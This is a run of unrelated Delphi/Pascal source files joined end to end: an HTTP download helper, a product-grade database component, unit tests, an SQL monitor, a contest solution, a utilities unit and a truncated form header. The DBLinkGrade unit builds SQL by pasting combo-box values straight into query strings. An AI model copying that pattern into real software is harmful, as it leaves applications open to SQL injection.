unit Pospolite.View.Internet; { +-------------------------+ | Package: Pospolite View | | Author: Matek0611 | | Email: matiowo@wp.pl | | Version: 1.0p | +-------------------------+ Comments: ... } {$mode objfpc}{$H+} interface uses Classes, SysUtils, fphttpclient, Forms, openssl, sslsockets, fpopenssl, Pospolite.View.Basics, Pospolite.View.Version, URIParser, StrUtils {$if (FPC_VERSION = 3) and (FPC_RELEASE >= 2)}, opensslsockets{$endif}; type { IPLHTTPClient } IPLHTTPClient = interface ['{86FCCD07-E0D4-48D0-A4CE-7AD4F91A8CCD}'] function GetMimeType: TPLString; function GetResponseStatusCode: integer; function Download(const AURL: TPLString; out AStream: TMemoryStream): TPLBool; overload; function Download(const AURL: TPLString; out AStream: TStringStream): TPLBool; overload; function Download(const AURL: TPLString): TPLString; overload; function FileGetContents(const AURL: TPLString; var AStream: TMemoryStream): TPLBool; overload; function FileGetContents(const AURL: TPLString): TPLString; overload; property ResponseStatusCode: integer read GetResponseStatusCode; property MimeType: TPLString read GetMimeType; end; { TPLFPHTTPClient } TPLFPHTTPClient = class(TFPHTTPClient, IPLHTTPClient) private FResponseStatusCode: integer; procedure EventClientPassword(Sender: TObject; var {%H-}RepeatRequest: boolean); procedure EventClientRedirect(Sender: TObject; const {%H-}ASrc: TPLString; var {%H-}ADest: TPLString); function GetResponseStatusCode: integer; function GetMimeType: TPLString; public constructor Create(AOwner: TComponent); override; destructor Destroy; override; function Download(const AURL: TPLString; out AStream: TMemoryStream): TPLBool; overload; function Download(const AURL: TPLString; out AStream: TStringStream): TPLBool; overload; function Download(const AURL: TPLString): TPLString; overload; function FileGetContents(const AURL: TPLString; var AStream: TMemoryStream): TPLBool; overload; function FileGetContents(const AURL: TPLString): TPLString; overload; end; function OnlineClient: IPLHTTPClient; function LocalMimeType(const AFileName: TPLString): TPLString; implementation function OnlineClient: IPLHTTPClient; begin Result := TPLFPHTTPClient.Create(Application); end; function LocalMimeType(const AFileName: TPLString): TPLString; begin // https://developer.mozilla.org/en-US/docs/Web/HTTP/Basics_of_HTTP/MIME_types/Common_types case TPLString(ExtractFileExt(AFileName)).ToLower.Replace('.', '') of '7z': Result := 'application/x-7z-compressed'; 'aac': Result := 'audio/aac'; 'abw': Result := 'application/x-abiword'; 'approj': Result := 'application/algopoint'; // online: text/xml 'arc': Result := 'application/x-freearc'; 'avi': Result := 'video/x-msvideo'; 'avif': Result := 'image/avif'; 'azw': Result := 'application/vnd.amazon.ebook'; 'bmp': Result := 'image/bmp'; 'bz': Result := 'application/x-bzip'; 'bz2': Result := 'application/x-bzip2'; 'cda': Result := 'application/x-cdf'; 'csh': Result := 'application/x-csh'; 'css': Result := 'text/css'; 'csv': Result := 'text/csv'; 'doc': Result := 'application/msword'; 'docx': Result := 'application/vnd.openxmlformats-officedocument.wordprocessingml.document'; 'eot': Result := 'application/vnd.ms-fontobject'; 'epub': Result := 'application/epub+zip'; 'gif': Result := 'image/gif'; 'gz': Result := 'application/gzip'; 'html', 'htm': Result := 'text/html'; 'ico': Result := 'image/vnd.microsoft.icon'; 'ics': Result := 'text/calendar'; 'jar': Result := 'application/java-archive'; 'jpg', 'jpeg', 'jfif', 'pjpeg', 'pjp': Result := 'image/jpeg'; 'js', 'mjs': Result := 'application/javascript'; 'json': Result := 'application/json'; 'jsonld': Result := 'application/ld+json'; 'mid': Result := 'audio/midi'; 'midi': Result := 'audio/x-midi'; 'mp3', 'mpeg': Result := 'audio/mpeg'; 'mp4': Result := 'video/mp4'; 'mpkg': Result := 'application/vnd.apple.installer+xml'; 'odp': Result := 'application/vnd.oasis.opendocument.presentation'; 'ods': Result := 'application/vnd.oasis.opendocument.spreadsheet'; 'odt': Result := 'application/vnd.oasis.opendocument.text'; 'oga': Result := 'audio/ogg'; 'ogg': Result := 'application/ogg'; 'ogv': Result := 'video/ogg'; 'opus': Result := 'audio/opus'; 'otf': Result := 'font/otf'; 'pdf': Result := 'application/pdf'; 'php': Result := 'text/php'; 'png': Result := 'image/png'; 'ppt': Result := 'application/vnd.ms-powerpoint'; 'pptx': Result := 'application/vnd.openxmlformats-officedocument.presentationml.presentation'; 'rar': Result := 'application/vnd.rar'; 'rtf': Result := 'application/rtf'; 'sh': Result := 'application/x-sh'; 'sql': Result := 'application/sql'; 'svg': Result := 'image/svg+xml'; 'swf': Result := 'application/x-shockwave-flash'; 'tar': Result := 'application/x-tar'; 'tif', 'tiff': Result := 'image/tiff'; 'ts': Result := 'video/mp2t'; 'ttf': Result := 'font/ttf'; 'txt': Result := 'text/plain'; 'vsd': Result := 'application/vnd.visio'; 'wav': Result := 'audio/wav'; 'weba', 'webm': Result := 'audio/webm'; 'webp': Result := 'image/webp'; 'woff': Result := 'font/woff'; 'woff2': Result := 'font/woff2'; 'xhtml': Result := 'application/xhtml+xml'; 'xls': Result := 'application/vnd.ms-excel'; 'xlsx': Result := 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet'; 'xml': Result := 'text/xml'; 'xul': Result := 'application/vnd.mozilla.xul+xml'; 'zip': Result := 'application/zip'; else Result := 'application/octet-stream'; end; end; { TPLFPHTTPClient } procedure TPLFPHTTPClient.EventClientPassword(Sender: TObject; var RepeatRequest: boolean); begin // end; procedure TPLFPHTTPClient.EventClientRedirect(Sender: TObject; const ASrc: TPLString; var ADest: TPLString); begin // end; function TPLFPHTTPClient.GetResponseStatusCode: integer; begin if FResponseStatusCode > 0 then Result := FResponseStatusCode else Result := inherited ResponseStatusCode; end; function TPLFPHTTPClient.GetMimeType: TPLString; begin Result := inherited ResponseHeaders.Values['Content-Type']; end; constructor TPLFPHTTPClient.Create(AOwner: TComponent); begin inherited Create(AOwner); ResponseHeaders.NameValueSeparator := ':'; AllowRedirect := true; MaxRedirects := High(Byte); HTTPversion := '1.1'; AddHeader('User-Agent', TPLViewVersion.UserAgent); OnPassword := @EventClientPassword; OnRedirect := @EventClientRedirect; FResponseStatusCode := 0; end; destructor TPLFPHTTPClient.Destroy; begin if Assigned(RequestBody) then RequestBody.Free; inherited Destroy; end; function TPLFPHTTPClient.Download(const AURL: TPLString; out AStream: TMemoryStream): TPLBool; begin Result := true; FResponseStatusCode := 0; AStream := TMemoryStream.Create; try Get(AURL, AStream); except on e: Exception do begin Result := false; AStream.Free; AStream := nil; end; end; end; function TPLFPHTTPClient.Download(const AURL: TPLString; out AStream: TStringStream): TPLBool; begin Result := true; FResponseStatusCode := 0; AStream := TStringStream.Create(''); try Get(AURL, AStream); except on e: Exception do begin Result := false; AStream.Free; AStream := nil; end; end; end; function TPLFPHTTPClient.Download(const AURL: TPLString): TPLString; var ss: TStringStream; begin Result := ''; FResponseStatusCode := 0; try Download(AURL, ss); if Assigned(ss) then try Result := ss.DataString; finally ss.Free; end; except on e: Exception do Result := ''; end; end; function TPLFPHTTPClient.FileGetContents(const AURL: TPLString; var AStream: TMemoryStream): TPLBool; var url: TURI; fn: TPLString; ms: TMemoryStream; begin if not Assigned(AStream) or (AURL.Trim = '') then exit(false); Result := true; AStream.Clear; FResponseStatusCode := 0; try if FileExists(AURL) then begin AStream.LoadFromFile(AURL); ResponseHeaders.Values['Content-Type'] := LocalMimeType(AURL); FResponseStatusCode := 200; end else begin url := ParseURI(AURL); case url.Protocol.ToLower of 'file': begin fn := url.Path.TrimLeft(['/', '\']).Replace('/', PathDelim) + url.Document; if FileExists(fn) then begin AStream.LoadFromFile(fn); ResponseHeaders.Values['Content-Type'] := LocalMimeType(fn); FResponseStatusCode := 200; end else begin Result := false; FResponseStatusCode := 404; end; end; 'http', 'https': begin Result := Download(AURL, ms); if Result then begin AStream.LoadFromStream(ms); ms.Free; end; end; end; end; except on e: Exception do begin Result := false; AStream.Clear; ResponseHeaders.Values['Content-Type'] := ''; FResponseStatusCode := 400; end; end; AStream.Position := 0; end; function TPLFPHTTPClient.FileGetContents(const AURL: TPLString): TPLString; var ms: TMemoryStream; ss: TStringStream; begin Result := ''; try ms := TMemoryStream.Create; ss := TStringStream.Create(''); try if FileGetContents(AURL, ms) then begin {$if (FPC_VERSION = 3) and (FPC_RELEASE >= 2)} ss.LoadFromStream(ms); {$else} ss.CopyFrom(ms, ms.Size); {$endif} ss.Position := 0; Result := ss.DataString; end; finally ms.Free; ss.Free; end; except on e: Exception do Result := ''; end; end; end.
unit DBLinkGrade; interface uses Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs, DB, SuperComboADO, dbtables, dbctrls, ADODb; type TDBLinkGrade = class(TComponent) private { Private declarations } FquFreeSQL, FquConstante : TADOQuery; FDataLink: TFieldDataLink; FIDItemGrade, FIDMercadoria : integer; FcmbMercadoria, FcmbCor, FcmbTamanho : TSuperComboADO; IDCorUnica, IDTamanhoUnico, OldValue : integer; procedure ChangeIDItemGrade; procedure TestSelCombo; procedure OnSelectMrc(Sender : TObject); procedure OnSelectCor(Sender : TObject); procedure OnSelectTam(Sender : TObject); procedure SetCor(IDCor : Integer); procedure SetTamanho(IDTamanho : Integer); procedure DataChange(Sender: TObject); procedure EditingChange(Sender: TObject); procedure UpdateData(Sender: TObject); function GetDataField: string; function GetDataSource: TDataSource; procedure SetDataField(const Value: string); procedure SetcmbMercadoria(Value: TSuperComboADO); procedure SetcmbCor(Value: TSuperComboADO); procedure SetcmbTamanho(Value: TSuperComboADO); procedure SetquConstante(Value: TADOQuery); procedure SetDataSource(Value: TDataSource); procedure SetIDMercadoria(Value: Integer); procedure SetIDItemGrade(Value: Integer); function GetIDItemGrade : Integer; protected { Protected declarations } constructor Create(AOwner: TComponent); override; destructor Destroy; override; procedure Notification(AComponent: TComponent; Operation: TOperation); override; public { Public declarations } property IDItemGrade : Integer read FIDItemGrade write SetIDItemGrade; property IDMercadoria : Integer read FIDMercadoria write SetIDMercadoria; published { Published declarations } property DataField : string read GetDataField write SetDataField; property DataSource : TDataSource read GetDataSource write SetDataSource; property cmbMercadoria : TSuperComboADO read FcmbMercadoria write SetcmbMercadoria; property cmbCor : TSuperComboADO read FcmbCor write SetcmbCor; property cmbTamanho : TSuperComboADO read FcmbTamanho write SetcmbTamanho; property quFreeSQL : TADOQuery read FquFreeSQL write FquFreeSQL; property quConstante : TADOQuery read FquConstante write SetquConstante; end; procedure Register; implementation uses uNumericFunctions; procedure Register; begin RegisterComponents('NewPower', [TDBLinkGrade]); end; constructor TDBLinkGrade.Create(AOwner: TComponent); begin inherited Create(AOwner); FDataLink := TFieldDataLink.Create; FDataLink.Control := Self; FDataLink.OnDataChange := DataChange; FDataLink.OnEditingChange := EditingChange; FDataLink.OnUpdateData := UpdateData; // Inicializa a grade zerada FIDItemGrade := 0; end; destructor TDBLinkGrade.Destroy; begin FDataLink.Free; FDataLink := nil; inherited Destroy; end; procedure TDBLinkGrade.SetquConstante(Value: TADOQuery); begin FquConstante := Value; if not (csDesigning in ComponentState) then begin // Seta os eventos de troca de mrc, cor, tamanho if Assigned(quConstante) then begin with FquConstante do begin if not Active then Open; if Locate('Constante', 'Cor_CorUnica', []) then IDCorUnica := FieldByName('Valor').AsInteger else raise exception.create('Cor Unica nao foi encontrada'); if Locate('Constante', 'Tamanho_TamanhoUnico', []) then IDTamanhoUnico := FieldByName('Valor').AsInteger else raise exception.create('Tamanho Unico nao foi encontrado'); end; end else raise exception.Create('quConstante não foi selecionado'); end; end; procedure TDBLinkGrade.SetcmbMercadoria(Value: TSuperComboADO); begin FCmbMercadoria := Value; if not (csDesigning in ComponentState) then begin // Seta os eventos de troca de mrc, cor, tamanho if Assigned(cmbMercadoria) then begin cmbMercadoria.OnBeforeSelectItem := OnSelectMrc; end else raise exception.Create('Combo de Mercadoria não foi selecionado'); end; end; procedure TDBLinkGrade.SetcmbCor(Value: TSuperComboADO); begin FCmbCor := Value; if not (csDesigning in ComponentState) then begin // Seta os eventos de troca de mrc, cor, tamanho if Assigned(cmbCor) then begin cmbCor.OnBeforeSelectItem := OnSelectCor; end else raise exception.Create('Combo de Cor não foi selecionado'); end; end; procedure TDBLinkGrade.SetcmbTamanho(Value: TSuperComboADO); begin FCmbTamanho := Value; if not (csDesigning in ComponentState) then begin // Seta os eventos de troca de mrc, cor, tamanho if Assigned(cmbTamanho) then begin cmbTamanho.OnBeforeSelectItem := OnSelectTam; end else raise exception.Create('Combo de Tamanho não foi selecionado'); end; end; function TDBLinkGrade.GetDataSource: TDataSource; begin Result := FDataLink.DataSource; end; procedure TDBLinkGrade.SetDataSource(Value: TDataSource); begin FDataLink.DataSource := Value; if Value <> nil then Value.FreeNotification(Self); end; function TDBLinkGrade.GetDataField: string; begin Result := FDataLink.FieldName; end; procedure TDBLinkGrade.SetDataField(const Value: string); begin FDataLink.FieldName := Value; end; procedure TDBLinkGrade.Notification(AComponent: TComponent; Operation: TOperation); begin inherited Notification(AComponent, Operation); if (Operation = opRemove) and (FDataLink <> nil) and (AComponent = DataSource) then DataSource := nil; end; procedure TDBLinkGrade.DataChange(Sender: TObject); begin if FDataLink.Field <> nil then IDItemGrade := FDataLink.Field.AsInteger; end; procedure TDBLinkGrade.EditingChange(Sender: TObject); begin // inherited ReadOnly := not FDataLink.Editing; end; procedure TDBLinkGrade.UpdateData(Sender: TObject); begin // Associa o valor ao field if Assigned(DataSource) then begin FDataLink.Edit; // Forca o edit state; FDataLink.Field.AsInteger := IDItemGrade; end; end; procedure TDBLinkGrade.SetIDItemGrade(Value: Integer); begin // Seta os valores da Cor e Tamanho respectivos a um determinado ItemGrade // Testa se valor esta zerado, grade vazia if Value = 0 then begin SetCor(0); SetTamanho(0); end else begin // Descobre o IDCor e IDTamanho do ItemGrade if Value <> OldValue then begin OldValue := Value; FIDItemGrade := Value; with FquFreeSQL do begin SQL.Text := 'SELECT IDCor, IDTamanho FROM Est_GradeItem WHERE IDItemGrade = ' + IntToStr(Value); Open; if not (Eof and Bof) then begin SetCor(FieldByName('IDCor').AsInteger); SetTamanho(FieldByName('IDTamanho').AsInteger); end; Close; end; end; end; end; procedure TDBLinkGrade.SetCor(IDCor : Integer); begin TestSelCombo; if (IDCor = 0) or (IDCorUnica = IDCor) then begin if cmbCor.Visible then begin if IDCor = 0 then cmbCor.LookUpValue := '' else cmbCor.LookUpValue := IntToStr(IDCorUnica); end; cmbCor.Enabled := False; cmbCor.Color := clBtnFace; end else begin cmbCor.LookUpValue := IntToStr(IDCor); cmbCor.Enabled := True; cmbCor.Color := clWindow; end; end; procedure TDBLinkGrade.SetTamanho(IDTamanho : Integer); begin TestSelCombo; if (IDTamanho = 0) or (IDTamanhoUnico = IDTamanho) then begin if cmbTamanho.Visible then begin if IDTamanho = 0 then cmbTamanho.LookUpValue := '' else cmbTamanho.LookUpValue := IntToStr(IDTamanhoUnico); end; cmbTamanho.Enabled := False; cmbTamanho.Color := clBtnFace; end else begin cmbTamanho.LookUpValue := IntToStr(IDTamanho); cmbTamanho.Enabled := True; cmbTamanho.Color := clWindow; end; end; procedure TDBLinkGrade.SetIDMercadoria(Value: Integer); begin if Assigned(cmbMercadoria) then begin cmbMercadoria.LookUpValue := IntToStr(Value); FIDMercadoria := Value; end else begin FIDMercadoria := Value; end; // Filtra Cores e Tamanhos da Mercadoria if FIDMercadoria = 0 then begin SetCor(0); SetTamanho(0); Exit; end; with FquFreeSQL do begin SQL.Text := 'SELECT Est_Mercadoria.IDGrade , CorUnica , TamanhoUnico ' + 'FROM dbo.Est_Mercadoria, dbo.Est_Grade Est_Grade ' + 'WHERE Est_Mercadoria.IDGrade = Est_Grade.IDGrade AND ' + 'Est_Mercadoria.IDMercadoria = ' + IntToStr(FIDMercadoria); Open; // Filtra os combos de cor e tamanho pela grade da mercadoria cmbCor.LookUpValue := ''; cmbCor.AddFilter(['IDGrade'], [FieldByName('IDGrade').AsString]); cmbTamanho.LookUpValue := ''; cmbTamanho.AddFilter(['IDGrade'], [FieldByName('IDGrade').AsString]); // Controla o Aparecimento do combo de cor if FieldByName('CorUnica').AsBoolean then begin SetCor(IDCorUnica); end else begin cmbCor.Enabled := True; cmbCor.Color := clWindow; end; // Controla o Aparecimento do combo de tamanho if FieldByName('TamanhoUnico').AsBoolean then begin SetTamanho(IDTamanhoUnico); end else begin cmbTamanho.Enabled := True; cmbTamanho.Color := clWindow; end; ChangeIDItemGrade; Close; end; end; procedure TDBLinkGrade.OnSelectMrc(Sender : TObject); begin TestSelCombo; if not Assigned(cmbMercadoria) then raise exception.Create('Combo de Mercadoria não foi selecionado'); IDMercadoria := MyStrToInt(cmbMercadoria.LookUpValue); end; procedure TDBLinkGrade.OnSelectCor(Sender : TObject); begin // Modifica o ItemGrade para a Nova Cor e Tamanho ChangeIDItemGrade; end; procedure TDBLinkGrade.OnSelectTam(Sender : TObject); begin // Modifica o ItemGrade para a Nova Cor e Tamaho ChangeIDItemGrade; end; function TDBLinkGrade.GetIDItemGrade : Integer; begin // Descobre o IDItemGrade, dado uma determinada Cor, Tamanho e Grade TestSelCombo; Result := 0; with FquFreeSQL do begin if (cmbCor.LookUpValue <> '') and (cmbTamanho.LookUpValue <> '') then begin SQL.Text := 'SELECT IDItemGrade FROM Est_GradeItem ' + 'WHERE IDCor = ' + cmbCor.LookUpValue + ' AND ' + 'IDTamanho = ' + cmbTamanho.LookUpValue + ' AND ' + 'IDGrade = ' + cmbCor.FilterValues[0]; Open; if not (Eof and Bof) then Result := FieldByName('IDItemGrade').AsInteger; Close; end end; end; procedure TDBLinkGrade.ChangeIDItemGrade; begin FIDItemGrade := GetIDItemGrade; UpdateData(nil); end; procedure TDBLinkGrade.TestSelCombo; begin if not Assigned(cmbCor) then raise exception.Create('Combo de Cor não foi selecionado'); if not Assigned(cmbTamanho) then raise exception.Create('Combo de Tamanho não foi selecionado'); end; end.
unit UnaryOpTest; interface uses DUnitX.TestFramework, uIntX; type [TestFixture] TUnaryOpTest = class(TObject) public [Test] procedure Plus(); [Test] procedure Minus(); [Test] procedure ZeroPositive(); [Test] procedure ZeroNegative(); [Test] procedure Increment(); [Test] procedure Decrement(); end; implementation [Test] procedure TUnaryOpTest.Plus(); var IntX: TIntX; begin IntX := 77; Assert.IsTrue(IntX = +IntX); end; [Test] procedure TUnaryOpTest.Minus(); var IntX: TIntX; begin IntX := 77; Assert.IsTrue(-IntX = -77); end; [Test] procedure TUnaryOpTest.ZeroPositive(); var IntX: TIntX; begin IntX := 0; Assert.IsTrue(IntX = +IntX); end; [Test] procedure TUnaryOpTest.ZeroNegative(); var IntX: TIntX; begin IntX := 0; Assert.IsTrue(IntX = -IntX); end; [Test] procedure TUnaryOpTest.Increment(); var IntX: TIntX; begin IntX := 77; Assert.IsTrue(IntX = 77); Inc(IntX); Inc(IntX); Assert.IsTrue(IntX = 79); end; [Test] procedure TUnaryOpTest.Decrement(); var IntX: TIntX; begin IntX := 77; Assert.IsTrue(IntX = 77); Dec(IntX); Dec(IntX); Assert.IsTrue(IntX = 75); end; initialization TDUnitX.RegisterTestFixture(TUnaryOpTest); end.
unit SqlMonitor; interface uses Generics.Collections, Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, ExtCtrls, StdCtrls, Aurelius.Drivers.Interfaces, Aurelius.Commands.Listeners; type TFrmSqlMonitor = class(TForm, ICommandExecutionListener) Memo: TMemo; BevelBottom: TBevel; PanelBottom: TPanel; btClear: TButton; btExit: TButton; procedure btClearClick(Sender: TObject); procedure btExitClick(Sender: TObject); private class var FInstance: TFrmSqlMonitor; procedure ExecutingCommand(SQL: string; Params: TEnumerable<TDBParam>); public class function GetInstance: TFrmSqlMonitor; end; implementation uses DBConnection; {$R *.dfm} procedure TFrmSqlMonitor.btClearClick(Sender: TObject); begin Memo.Clear; end; procedure TFrmSqlMonitor.btExitClick(Sender: TObject); begin Hide; end; procedure TFrmSqlMonitor.ExecutingCommand(SQL: string; Params: TEnumerable<TDBParam>); begin TDBConnection.AddLines(Memo.Lines, SQL, Params); Application.ProcessMessages; end; class function TFrmSqlMonitor.GetInstance: TFrmSqlMonitor; begin if FInstance = nil then FInstance := TFrmSqlMonitor.Create(Application); Result := FInstance; end; end.
{$I-,Q-,R-,S-} {Problema 6: Moo [Brian Dean, 2005] Las N (1 &lt;= N &lt;= 50,000) vacas del Granjero Juan están en una fila muy larga mugiendo. Cada vaca tiene una altura única h en el rango 1..2,000,000,000 nanómetros (GJ realmente es muy quisquilloso con la precisión). Cada vaca muge en algún volumen v en el rango 1..10,000. Este mugido viaja a través de la fila de vacas en ambas direcciones (excepto obviamente para las vacas en los extremos). Curiosamente, es oido por las vacas mas cercanas en cada dirección cuyas alturas sean estrictamente mayores que la vaca mugidora (por lo tanto cada mugido será oido por 0, 1 o 2 vacas, dependiendo si o no vacas mas altas existan a la derecha o izquierda de la vaca mugidora). El volumen total de mugido oído por una vaca dada es la suma de todos los volúmenes de mugido que llegan a la vaca. Desde que algunas vacas (presumiblemente más altas) podrían estar sometidas a una cantidad muy grande de volumen de mugido, GJ quiere comprar tapones para la vaca cuya audición sea la más amenazada. Por favor, calcule el volumen de mugido mas alto oído por cualquier vaca. NOMBRE DEL PROBLEMA: mooo FORMATO DE ENTRADA: * Línea 1: Un solo entero, N. * Líneas 2..N+1: La línea i+1 contiene dos enteros, h y v, para la vaca que está en la ubicación i. ENTRADA EJEMPLO (archivo mooo.in): 3 4 2 3 5 6 10 DETALLES DE LA ENTRADA: Tres vacas: la primera tiene altura 4 y muge con volumen 2, etc. FORMATO DE SALIDA: * Línea 1: El volumen de mugido más grande oído por cualquier vaca en particular. SALIDA EJEMPLO (archivo moo.out): 7 DETALLES DE LA SALIDA: La tercera vaca va oye tanto los mugidos de la primera y segunda vacas 2+5=7. A pesar que la tercera vaca muge con volumen 10, ninguna la oye. } { 2 * n } const mx = 50001; var fe,fs : text; n,sol : longint; tab : array[1..mx,1..2] of longint; cont,next : array[1..mx] of longint; procedure open; var i : longint; begin assign(fe,'mooo.in'); reset(fe); assign(fs,'mooo.out'); rewrite(fs); readln(fe,n); for i:=1 to n do readln(fe,tab[i,1],tab[i,2]); close(fe); end; procedure work; var i,j : longint; begin fillchar(next,sizeof(next),0); sol:=0; for i:=2 to n do { 1 --------> n } begin j:=i-1; repeat begin if (tab[i,1] < tab[j,1]) then begin cont[j] := cont[j] + tab[i,2]; next[i]:=j; if cont[j] > sol then sol:=cont[j]; j:=0; end else j:=next[j]; end until j=0; end; fillchar(next,sizeof(next),0); for i:=n-1 downto 1 do { 1 <-------- n } begin j:=i+1; repeat begin if (tab[i,1] < tab[j,1]) then begin cont[j] := cont[j] + tab[i,2]; next[i]:=j; if cont[j] > sol then sol:=cont[j]; j:=0; end else j:=next[j]; end until j=0; end; end; procedure closer; begin writeln(fs,sol); close(fs); end; begin open; work; closer; end.
unit Pubvar; {*************************************************************************** Description: This unit defined the Globle Public constant and varible for application The application level error also processed in this unit ; Some ommon function and procedures are included; CreateDate: 2001-12-12 Author: Bearing Last Modified: 2005-06-16 todo: 1、法定休息日待确定 2、日历选择待优化 ******************************************************************************} interface uses SysUtils, Classes,Windows, Messages, Forms, Controls, viewdoc, DateUtils,Dialogs; const croottxtask = '我的任务箱'; croottxthistory ='历史项目'; ErrorHint = '对不起,程序由于未知的原因出现了错误。如果问题频繁出现,请将问题反馈至系统管理员'; SucsaveMessage = '数据已保存成功'; DelConfirm = '您确定要删除所选项目吗?'; InputHint = '请检查数据输入是否完整?'; SysAdmin = 4; //系统管理员 VipUser = 2 ; //vip user Designchief = 5; //设计室主任 GeneralUser = 3; //工作人员 NewMode = 0; //Fram界面新建模式 EditMode = 1; //Fram界面编辑模式 BroswerMode = 2; //Fram界面浏览模式 SubNewMode = 3; TaskView = 1; //项目任务树视图 SearchView = 3; //查找视图 NavigatorView = 2; //活动项目导航视图 C_Nodetype = 'TaskByType'; C_DisUsePrj = 'DisUsePrj' ; C_PausePrj = 'PausedTask' ; C_Recycle = 'RecycleTask'; C_DeletaPrj = 'Wtdesign'; var Loginuser: string; //登录用户名称 CurCorpCode: string; //公司代码 userjobid: string; //登录用户工号 userdepart: string; //登录用户部门 RolName : string; permission: integer; //登录用户权限 Filepath: string; //文件存放路径规则 function GetClendar: string; //调用日历form获取日期 Procedure Previewdoc(const filename:string);//调用浏览器浏览图档 function GetWorkDays(Bdate,Edate:Tdatetime):integer; function Money2ChineseCapital2(const Num:double ): WideString; type TLoginUser = class(TObject) private FUserName:string; FDepart:string; FCorp:string; FUserId:string; FRoles:Tstrings; FPermission:Byte; protected public property UserName:string read FUserName write FUserName; property UserDepart:string read FDepart write FDepart; property CorpCode:string read FCorp write FCorp; property Roles:Tstrings read FRoles write FRoles; property Permission:Byte read FPermission write FPermission; published end; Ptaskinfo=^taskinfo; TaskInfo=record //工程项目信息记录 PrjDm: string; //项目代码 PrjName: string; //项目名称 NodeCode: string; //节点代码 TaskName: string; //工程帐号 Prjtype: string; //任务(节点)名称 PrjAcc: string; //工程性质 Executor: string; //当前执行人 PrjSource: String; //工程来源记录代码 DesignBy: string; //设计人 end; {工程任务类型记录 } Ptasktype=^tasktype; tasktype=record tasknum:integer; //项目任务数量 //delaynum: integer; //超期项目数量 //finishflag: string; //是否处理标志 //backflag: string; // 是否回退项目 typename: string; //项目性质 end; Pfile=^filename; filename=record DocName: string; //预算书磁盘文件名 end; Pfield=^fieldcode; fieldcode=record FieldCode:TstringList //字段代码 end; implementation uses getclendar; const mnUnit:WideString ='分角元'; const OtherWords:WideString='整负'; const hzUnit:WideString = '拾佰仟万拾佰仟亿'; const hzNum:WideString='零壹贰叁肆伍陆柒捌玖'; function GetClendar:string; begin application.CreateForm(Tfrm_getclendar,frm_getclendar); try if frm_getclendar.ShowModal=mrok then result:=datetostr(frm_getclendar.MonthCalendar1.date); finally frm_getclendar.Free; end; end; Procedure Previewdoc(const filename:string); begin // if filename='' then // showmessage('文件名不能为空') // else // begin // application.CreateForm(Tfrm_ViewDoc,frm_ViewDoc); // try // frm_ViewDoc.filename:=filename; // frm_ViewDoc.ShowModal; // finally // frm_ViewDoc.Free; // end; // end; end; { 计算给定起始日期间的工作日 ,去掉双休日和法定休息日} function GetWorkDays(Bdate,Edate:Tdatetime):Integer; var DurDays,DiffWeeks,Moddate:Integer; TempDate:Tdatetime; begin Moddate := 0; DurDays := DaysBetween(Bdate,Edate); DiffWeeks := WeeksBetween(Bdate,Edate); TempDate :=IncDay(Bdate, DiffWeeks*7); while TempDate <= Edate do begin if (DayOfWeek(TempDate) = 1) or (DayOfWeek(TempDate) = 7) then Moddate := Moddate+1; TempDate := IncDay(TempDate,1); end; Result := DurDays-DiffWeeks*2-Moddate; end; function Money2ChineseCapital2(const Num:double ): WideString; var szNum:PWideChar; i,iLen,iLen2, iNum, iAddZero,ResultCount:Integer; buff:AnsiString; buf:PAnsiChar; dblNum: Double; begin if Num = 0 then begin Result := '零元'; Exit; end; SetLength(Result,33*2 + 1); iAddZero := 0; if Num < 0.0 then dblNum := Num * 100.0 + 0.5 else dblNum := Num * 100.0 - 0.5; buff := format('%0.0f',[dblNum]); if Pos(buff,'e')>0 then begin SetLength(Result,0); Raise Exception.Create('数值过大!'); Exit; end; iLen := Length(buff); szNum := PWideChar(Result); buf := PAnsiChar(buff); if(Num<0.0) then begin szNum^:=OtherWords[2]; Inc(szNum); Inc(buf); Dec(iLen); end; for i:=1 to iLen do begin iNum :=Ord(buf^)-48; Inc(buf); iLen2 := iLen-i; if(iNum=0) then begin if(((iLen2-2) mod 4)=0) and ((iLen2-3)>0) and (((iLen2>=8) or (iAddZero<3))) then begin szNum^ := hzUnit[(iLen2-3) mod 8 + 1]; Inc(szNum); end; Inc(iAddZero); if(iLen>1) and (iLen2=1) and (buff[iLen] <> '0') then begin szNum^:=hzNum[1]; Inc(szNum); end; end else begin if(((iAddZero>0) and (iLen2>=2)) and (((iLen2-1) mod 4)<>0) or ((iAddZero>=4) and ((iLen2-1)>0))) then begin szNum^:=hzNum[1]; Inc(szNum); end; szNum^:=hzNum[iNum+1]; Inc(szNum); iAddZero:=0; end; if (iAddZero<1) or (iLen2=2) then begin if(iLen-i>=3) then begin szNum^:=hzUnit[(iLen2-3) mod 8 + 1]; Inc(szNum); end else begin szNum^:=mnUnit[(iLen2) mod 3 +1 ]; Inc(szNum); end; end; end; ResultCount := szNum-PWideChar(Result); if((Num < 0.0) and (ResultCount - 1 = 0)) or ((Num>=0.0) and (ResultCount=0)) then begin szNum^:=hzNum[1]; Inc(szNum); szNum^:=mnUnit[3]; Inc(szNum); szNum^:=OtherWords[1]; Inc(szNum); Inc(ResultCount,3); end else if((Num<0.0) and (buff[iLen+1] ='0')) or ((Num>=0.0) and (buff[iLen] ='0')) then begin szNum^:=OtherWords[1]; Inc(ResultCount); end; SetLength(Result, ResultCount); end; { TLoginUser } end.
unit Main; // Description: // By Sarah Dean // Email: sdean12@sdean12.org // WWW: http://www.SDean12.org/ // // ----------------------------------------------------------------------------- // interface uses Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs, StdCtrls, Spin64, HashAlg_U, HashAlgUnified_U, SDUDialogs; type TfrmMain = class(TForm) seStripeCount: TSpinEdit64; Label1: TLabel; edFilenameInput: TEdit; Label2: TLabel; edFilenameOutput: TEdit; Label3: TLabel; pbSplit: TButton; pbMerge: TButton; pbBrowseInput: TButton; pbBrowseOutput: TButton; cbHash: TComboBox; Label4: TLabel; OpenDialog1: TSDUOpenDialog; SaveDialog1: TSDUSaveDialog; procedure FormShow(Sender: TObject); procedure pbSplitClick(Sender: TObject); procedure FormCreate(Sender: TObject); procedure FormCloseQuery(Sender: TObject; var CanClose: Boolean); procedure pbMergeClick(Sender: TObject); procedure pbBrowseInputClick(Sender: TObject); procedure pbBrowseOutputClick(Sender: TObject); private hashAlg: THashAlgUnified; procedure Execute(splitNotMerge: boolean); procedure PopulateHashes(); public { Public declarations } end; var frmMain: TfrmMain; implementation 